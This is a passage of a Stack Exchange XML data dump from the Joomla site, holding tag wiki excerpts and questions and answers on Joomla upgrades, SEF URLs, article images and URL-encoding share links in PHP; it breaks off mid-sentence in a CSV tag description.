  <row Id="24611" PostTypeId="4" CreationDate="2019-05-15T08:34:29.957" Score="0" Body="For questions regarding version 1.6 of the Joomla Content Management System." OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-05-15T08:34:29.957" LastActivityDate="2019-05-15T08:34:29.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24612" PostTypeId="5" CreationDate="2019-05-15T08:34:44.723" Score="0" Body="" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-05-15T08:34:44.723" LastActivityDate="2019-05-15T08:34:44.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24613" PostTypeId="4" CreationDate="2019-05-15T08:34:44.723" Score="0" Body="For questions regarding version 3.9 of the Joomla Content Management System." OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-05-15T08:34:44.723" LastActivityDate="2019-05-15T08:34:44.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24614" PostTypeId="5" CreationDate="2019-05-15T08:35:09.787" Score="0" Body="&lt;h2&gt;Joomla 4.x&lt;/h2&gt;&#xA;For questions regarding version 4.x of the Joomla! Content Management System.&#xA;&lt;p&gt;##History##&#xA;Joomla 4.0 was released on August 17, 2021.&lt;/p&gt;&#xA;&lt;p&gt;##Important Changes##&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;improved install process&lt;/li&gt;&#xA;&lt;li&gt;new accessible backend and frontend templates&lt;/li&gt;&#xA;&lt;li&gt;Bootstrap 5 integration&lt;/li&gt;&#xA;&lt;li&gt;new media manager&lt;/li&gt;&#xA;&lt;li&gt;new publishing workflow&lt;/li&gt;&#xA;&lt;li&gt;new web services&lt;/li&gt;&#xA;&lt;li&gt;improved security features&lt;/li&gt;&#xA;&lt;li&gt;new HTML email templates&lt;/li&gt;&#xA;&lt;li&gt;improved and expanded Command Line Interface (CLI)&lt;/li&gt;&#xA;&lt;li&gt;cleaner and more powerful codebase&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;##Getting Joomla 4.x&#xA;The latest version of Joomla 4.x can be downloaded from &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/releases&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;##Installation&#xA;Joomla can be installed on any host with the &lt;a href=&quot;http://www.joomla.org/technical-requirements.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;minimum system requirements&lt;/a&gt;, or on a local computer using a web server like &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_Apache%E2%80%93MySQL%E2%80%93PHP_packages&quot; rel=&quot;nofollow noreferrer&quot;&gt;XAMPP, WAMP, LAMP, MAMP etc&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Note that Joomla 4.x requires a minimum of PHP 7.2.5.&lt;/p&gt;&#xA;&lt;p&gt;Note that pre-release versions of Joomla 4.x should not be used for production websites.&lt;/p&gt;&#xA;&lt;p&gt;Instructions on how to install Joomla can be found at &lt;a href=&quot;http://docs.joomla.org/Installing_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! Docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="120" LastEditDate="2021-10-29T21:09:45.520" LastActivityDate="2021-10-29T21:09:45.520" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24615" PostTypeId="4" CreationDate="2019-05-15T08:35:09.787" Score="0" Body="For questions regarding version 4 of the Joomla Content Management System." OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-05-15T08:35:09.787" LastActivityDate="2019-05-15T08:35:09.787" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24616" PostTypeId="5" CreationDate="2019-05-15T08:36:38.210" Score="0" Body="&lt;p&gt;Protostar is the default Joomla 3.x front-end template, built using Bootstrap 2&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-05-15T08:36:38.210" LastActivityDate="2019-05-15T08:36:38.210" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24617" PostTypeId="4" CreationDate="2019-05-15T08:36:38.210" Score="0" Body="The default Joomla 3.x front-end template" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-05-15T08:36:38.210" LastActivityDate="2019-05-15T08:36:38.210" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24618" PostTypeId="5" CreationDate="2019-05-15T08:37:18.600" Score="0" Body="&lt;p&gt;Isis is the default Joomla 3.x backend template, built using Bootstrap 2&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-05-15T08:37:18.600" LastActivityDate="2019-05-15T08:37:18.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24619" PostTypeId="4" CreationDate="2019-05-15T08:37:18.600" Score="0" Body="The default Joomla 3.x backend template" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-05-15T08:37:18.600" LastActivityDate="2019-05-15T08:37:18.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24620" PostTypeId="2" ParentId="15783" CreationDate="2019-05-15T14:11:05.780" Score="1" Body="&lt;p&gt;If you're in case of a failed upgrade you can check out this tutorial to manual upgrade a Joomla Installation.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://gist.github.com/mbabker/d7bfb4e1e2fbc6b7815a733607f89281&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/mbabker/d7bfb4e1e2fbc6b7815a733607f89281&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It sometimes helps to get out of failed upgrade or at least bring access back to your administrator interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method has been referenced by the community when having trouble with a failed upgrade or when having no other way to update your Joomla (Method C)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Upgrading_from_Joomla_3.4.x_to_3.5&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13528" LastActivityDate="2019-05-15T14:11:05.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24621" PostTypeId="1" CreationDate="2019-05-15T16:34:01.660" Score="0" ViewCount="163" Body="&lt;p&gt;Never had to deal with this in the past, but now I have been asked to add a second recipient email on a contact form made with com_contacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first glance this seems to not be supported by the com_contacts. &#xA;So I am wondering if is there any trick that would allow me to add a BCC recipient on that form and finish this task quickly, without having to setup a new form using another component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2019-05-15T16:34:01.660" Title="Contacts - Sending to multiple recipients" Tags="|joomla-3.x|com-contacts|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24622" PostTypeId="1" AcceptedAnswerId="24623" CreationDate="2019-05-15T17:48:06.597" Score="0" ViewCount="947" Body="&lt;p&gt;&lt;strong&gt;Is it possible to get &lt;code&gt;SEF&lt;/code&gt; &lt;code&gt;URL&lt;/code&gt; from Joomla article &lt;code&gt;ID&lt;/code&gt; through some &lt;code&gt;API&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm moving data from old custom CMS to Joomla. Articles in old CMS contain links to each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Old articles had their full &lt;code&gt;URL&lt;/code&gt; in the database table and while importing them into Joomla I've also saved new Joomla article &lt;code&gt;ID&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now I have mapping between old CMS article &lt;code&gt;URL&lt;/code&gt; and new Joomla article &lt;code&gt;ID&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix those old links in article content I need to get new Joomla article &lt;code&gt;URL&lt;/code&gt; from &lt;code&gt;ID&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2019-05-15T20:41:54.350" Title="Find Article SEF URL by ID" Tags="|articles|url|sef|router|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24623" PostTypeId="2" ParentId="24622" CreationDate="2019-05-15T18:20:12.990" Score="1" Body="&lt;p&gt;It's a bit unclear what's your exact goal and how you are going to use whatever possible answer you are going to get. &#xA;Will you have all previous SEF URLs changed? Will you do a search and replace inside the database for all old links of the content? And how you could combine a possible API usage with the database operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the whole task needs a good plan on how this migration/transformation should be done, considering the content, the urls and how the new URLs structure will look like... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But anyway, if we focus only on how to link to other articles from inside an article in Joomla, I would recommend to use non-sef URLs inside your content, instead of SEF ones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The non-SEF would convert to SEF once you enable SEF URLs on Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of how a non-SEF URL link to another article, from inside an article would be like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=113&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you would want to include the Category ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=113&amp;amp;catid=145&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or also include the language:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;id=113&amp;amp;catid=145&amp;amp;lang=en-GB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, if I had to update all internal articles links to other Joomla articles, this is how my new links would like.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;I would also consider to install a SEF extension like sh404SEF to help managing all the new SEF URLs more efficiently.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2019-05-15T20:41:54.350" LastActivityDate="2019-05-15T20:41:54.350" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24624" PostTypeId="1" CreationDate="2019-05-15T19:35:17.057" Score="0" ViewCount="37" Body="&lt;p&gt;One of the websites we manage, &lt;a href=&quot;http://wesleyunited.ca&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wesleyunited.ca&lt;/a&gt; , recently started having a problem with menu aliases containing &quot;contact&quot; as a substring: clicking the menu just brings up an empty page that just says &quot;Temporarily Unavailable.&quot; This happened spontaneously, we didn't do any work on the website or update anything manually before this problem arose. After we found out about the issue we updated to Joomla 3.9.5 (this was a few weeks ago) but that didn't fix the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a temporary fix I changed the &quot;Contact Us&quot; menu item's alias so that is doesn't contain &quot;contact&quot;, and I made a &quot;Contact (Broken)&quot; sub-menu item which exhibits the error for demonstration purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I played around with different aliases, and found that as long as &quot;contact&quot; is a substring it will not work, but everything I tried without it was fine. Even &quot;contac&quot; and &quot;ontact&quot; work. It also doesn't have to be separated out with hyphens, something like &quot;blcontactah&quot; will cause the error. I tried adding &quot;contact&quot; to the aliases of the other menu items (not just the &quot;Contact Us&quot; page) and it broke those as well. Even if a menu item has &quot;contact&quot; in the alias and a sub-menu item does not, the sub-menu's link will still give the error, I guess because &quot;contact&quot; is still in the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea for why this is happening? Did our server spontaneously decide to start blocking urls containing the string &quot;contact&quot;, and if so how do I disable that?&lt;/p&gt;&#xA;" OwnerUserId="13088" LastEditorUserId="13088" LastEditDate="2019-05-15T20:26:06.740" LastActivityDate="2019-05-15T20:26:06.740" Title="&quot;Temporarily Unavailable&quot; message when a menu alias contains &quot;contact&quot;" Tags="|joomla-3.x|menu-item|menu|alias|" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="24625" PostTypeId="1" AcceptedAnswerId="24626" CreationDate="2019-05-15T23:05:14.267" Score="0" ViewCount="517" Body="&lt;p&gt;I do not get the images out of my article. The article var is initialized, but the images and pictures vars seem to be empty. Any hints what I do wrong here?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;   $id = JFactory::getApplication()-&amp;gt;input-&amp;gt;getInt('id');&#xA;   $article = JTable::getInstance(&quot;content&quot;);&#xA;   $article-&amp;gt;load($id);&#xA;   $images = $article-&amp;gt;item-&amp;gt;images;&#xA;   echo $images;&#xA;   $pictures = json_decode($images);&#xA;   echo $pictures;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php echo $pictures-&amp;gt;image_intro; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13241" LastActivityDate="2019-05-16T06:00:18.243" Title="get intro-image from article?" Tags="|joomla-api|images|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24626" PostTypeId="2" ParentId="24625" CreationDate="2019-05-16T06:00:18.243" Score="4" Body="&lt;p&gt;When developing, error reporting should be enabled. You'll see this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Notice: Undefined property: Joomla\CMS\Table\Content::$item&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Access the images like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images = $article-&amp;gt;images;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-05-16T06:00:18.243" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24627" PostTypeId="1" CreationDate="2019-05-16T07:26:01.750" Score="-2" ViewCount="53" Body="&lt;p&gt;I am attempting to create some custom social sharing icons using Font-awesome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started out with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;span&amp;gt;Share this article:&amp;lt;/span&amp;gt;&#xA;&amp;lt;a class=&quot;facebook&quot; href=&quot;https://www.facebook.com/share.php?u={{url}}&amp;amp;title={{title}}&quot; target=&quot;blank&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-facebook-square&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;a class=&quot;linkedin&quot; href=&quot;https://www.linkedin.com/shareArticle?mini=true&amp;amp;url={{url}}&amp;amp;title={{title}}&amp;amp;source={{source}}&quot; target=&quot;blank&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-linkedin-square&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;a class=&quot;twitter&quot; href=&quot;https://twitter.com/intent/tweet?status={{title}}+{{url}}&quot; target=&quot;blank&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-twitter-square&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what I am trying to do is replace the Current Page url into the {{url}} and the current page title into the {{title}} tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the following code I can obtain the page url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$uri = JUri::getInstance();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when trying to insert this into just the {{url}} part as below it breaks on the {{title}}.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;facebook&quot; href=&quot;https://www.facebook.com/share.php?u=&quot;&amp;lt;?php echo $uri ?&amp;gt;&quot;title={{title}}&quot; target=&quot;blank&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-facebook-square&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone possibly advise the best way to do this so that it remains dynamic to share the current page?&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2019-05-16T12:57:14.510" Title="Dynamically adding Page URL and Page Title into html Link" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24628" PostTypeId="2" ParentId="24627" CreationDate="2019-05-16T08:10:54.320" Score="2" Body="&lt;p&gt;You have misplaced quotes around PHP tags and missing the ampersand (&lt;code&gt;&amp;amp;&lt;/code&gt;) before the title.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;facebook&quot; href=&quot;https://www.facebook.com/share.php?u=&amp;lt;?php echo $uri ?&amp;gt;&amp;amp;title={{title}}&quot; target=&quot;blank&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-facebook-square&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also you should run the variables used in URL through &lt;code&gt;urlencode()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-05-16T11:17:58.700" LastActivityDate="2019-05-16T11:17:58.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24629" PostTypeId="2" ParentId="24627" CreationDate="2019-05-16T09:41:39.460" Score="3" Body="&lt;p&gt;Yes, this seems to be a simple typo-type question, but it does present a chance to show the appropriate php function to generate a properly url-encoded querystring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http_build_query()&lt;/code&gt;: &lt;a href=&quot;https://www.php.net/manual/en/function.http-build-query.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.php.net/manual/en/function.http-build-query.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to write clean, readable code by declaring an array to be converted to a valid querystring (you have to write the leading &lt;code&gt;?&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code: (&lt;a href=&quot;https://3v4l.org/YDDgY&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query_params = [&#xA;    'u' =&amp;gt; 'thisistheuristring with spaces and an &amp;amp; sign',&#xA;    'title' =&amp;gt; 'The Title is Awesome! Right?'&#xA;];&#xA;?&amp;gt;&#xA;&amp;lt;a class=&quot;facebook&quot; href=&quot;https://www.facebook.com/share.php?&amp;lt;?php echo http_build_query($query_params) ?&amp;gt;&quot; target=&quot;blank&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-facebook-square&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;facebook&quot; href=&quot;https://www.facebook.com/share.php?u=thisistheuristring+with+spaces+and+an+%26+sign&amp;amp;title=The+Title+is+Awesome%21+Right%3F&quot; target=&quot;blank&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-facebook-square&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pay particular notice that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;spaces are converted to &lt;code&gt;+&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;amp;&lt;/code&gt; is converted to &lt;code&gt;%26&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;!&lt;/code&gt; is converted to &lt;code&gt;%21&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;?&lt;/code&gt; is converted to &lt;code&gt;%3F&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;(effectively, this call does all of the necessary encoding for you)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The only gotcha worth mentioning is: &lt;strong&gt;If you pass a &lt;code&gt;null&lt;/code&gt; value to the function call, there will be no trace of the key or value in the output&lt;/strong&gt;.  In other words if you passed it an array containing &lt;code&gt;'title' =&amp;gt; null&lt;/code&gt;, then you won't see &lt;code&gt;title=&lt;/code&gt; in the query string ...it will completely ignore the declaration.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;More specific to your question, you could alternatively code it these ways (because you are only writing one php variable into your query string):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query_params['u'] = 'thisistheuristring with spaces and an &amp;amp; sign';&#xA;?&amp;gt;&#xA;&amp;lt;a class=&quot;facebook&quot; href=&quot;https://www.facebook.com/share.php?&amp;lt;?php echo http_build_query($query_params) ?&amp;gt;&amp;amp;title={{title}}&quot; target=&quot;blank&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-facebook-square&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$uri = 'thisistheuristring with spaces and an &amp;amp; sign';&#xA;?&amp;gt;&#xA;&amp;lt;a class=&quot;facebook&quot; href=&quot;https://www.facebook.com/share.php?u=&amp;lt;?php echo urlencode($uri) ?&amp;gt;&amp;amp;title={{title}}&quot; target=&quot;blank&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-facebook-square&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T12:57:14.510" LastActivityDate="2019-05-16T12:57:14.510" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24630" PostTypeId="5" CreationDate="2019-05-16T10:15:13.393" Score="0" Body="&lt;p&gt;The Internet Protocol is one of the fundamental protocols used for the Internet. There are two main versions: IPv4 uses 32-bit addresses (often shown in dotted-decimal notation, e.g. &lt;code&gt;10.0.1.3&lt;/code&gt;) and IPv6 uses 128-bit addresses. IP addresses &lt;em&gt;could&lt;/em&gt; have their own tag (&quot;ip-address&quot;), in the meantime &lt;a href=&quot;/questions/tagged/ip&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;ip&amp;#39;&quot; rel=&quot;tag&quot;&gt;ip&lt;/a&gt; will suffice. Its companion protocol is the Transmission Control Protocol (TCP), and the combination is often denoted &lt;a href=&quot;http://en.wikipedia.org/wiki/TCP/IP_model&quot; rel=&quot;nofollow noreferrer&quot;&gt;TCP/IP&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should not be used to refer to intellectual property; if ever needed, a new tag should be created called &quot;intellectual-property&quot;.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T10:56:12.933" LastActivityDate="2019-05-16T10:56:12.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24631" PostTypeId="4" CreationDate="2019-05-16T10:15:13.393" Score="0" Body="This tag is for questions related to the Internet Protocol or more familiarly &quot;IP Address&quot;. This is not for questions about Intellectual Property." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T10:56:16.030" LastActivityDate="2019-05-16T10:56:16.030" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24633" PostTypeId="5" CreationDate="2019-05-16T10:29:06.410" Score="0" Body="&lt;h1&gt;Unicode&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://unicode.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unicode&lt;/a&gt; assigns each character a code point to act as a unique reference:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;U+0041 &lt;strong&gt;A&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;U+0042 &lt;strong&gt;B&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;U+0043 &lt;strong&gt;C&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;li&gt;U+039B &lt;strong&gt;Λ&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;U+039C &lt;strong&gt;Μ&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Unicode Transformation Formats&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UTFs describe how to encode code points as byte representations. The most common forms are UTF-8 (which encodes code points as a sequence of one, two, three or four bytes) and UTF-16 (which encodes code points as two or four bytes).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Code Point          UTF-8           UTF-16 (big-endian)&#xA;U+0041              41              00 41&#xA;U+0042              42              00 42&#xA;U+0043              43              00 43&#xA;...&#xA;U+039B              CE 9B           03 9B&#xA;U+039C              CE 9C           03 9C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://unicode.org/faq/utf_bom.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;UTF FAQ&lt;/a&gt;, &lt;a href=&quot;http://unicode.org/faq/utf_bom.html#UTF16&quot; rel=&quot;nofollow noreferrer&quot;&gt;UTF-16 FAQ&lt;/a&gt;, &lt;a href=&quot;http://unicode.org/faq/utf_bom.html#UTF8&quot; rel=&quot;nofollow noreferrer&quot;&gt;UTF-8 FAQ&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Specification&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Unicode Consortium also defines standards for sorting algorithms, rules for capitalization, character normalization and other locale-sensitive character operations.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.unicode.org/versions/latest/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Latest Version of the Standard&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Identifying Characters&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.unicode.org/charts/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PDF charts&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://unicode.org/Public/UNIDATA/UnicodeData.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Character list&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For more general information, see the &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Unicode&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unicode article on Wikipedia&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T10:56:06.530" LastActivityDate="2019-05-16T10:56:06.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24634" PostTypeId="4" CreationDate="2019-05-16T10:29:06.410" Score="0" Body="Unicode is a standard for the encoding, representation and handling of text with the intention of supporting all the characters required for written text incorporating all writing systems, technical symbols and punctuation." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-16T10:56:09.073" LastActivityDate="2019-05-16T10:56:09.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24635" PostTypeId="5" CreationDate="2019-05-16T10:39:38.803" Score="0" Body="&lt;p&gt;CSV is a file format involving a plain text file with information separated by delimiters with the purpose of storing data in a table-structured format. CSV (&lt;strong&gt;comma separated values&lt;/strong&gt;) files traditionally and most commonly use a comma delimiter (hence the name), but other characters can be used, such as semi-colons, tabs, pipe symbols (&lt;code&gt;|&lt;/code&gt;), etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The MIME type for CSV files is &lt;code&gt;text/csv&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Information is often stored in CSV format to make it easy to transfer tables of data between applications. Each row of a table is represented as a list of plain text (human-readable) values with a delimiter character between each discrete piece of data. Values may be enclosed in quotes, which is required if they contain the delimiter as a value. The first row of data often contains headers of table's columns, which describe the meaning of the data in each 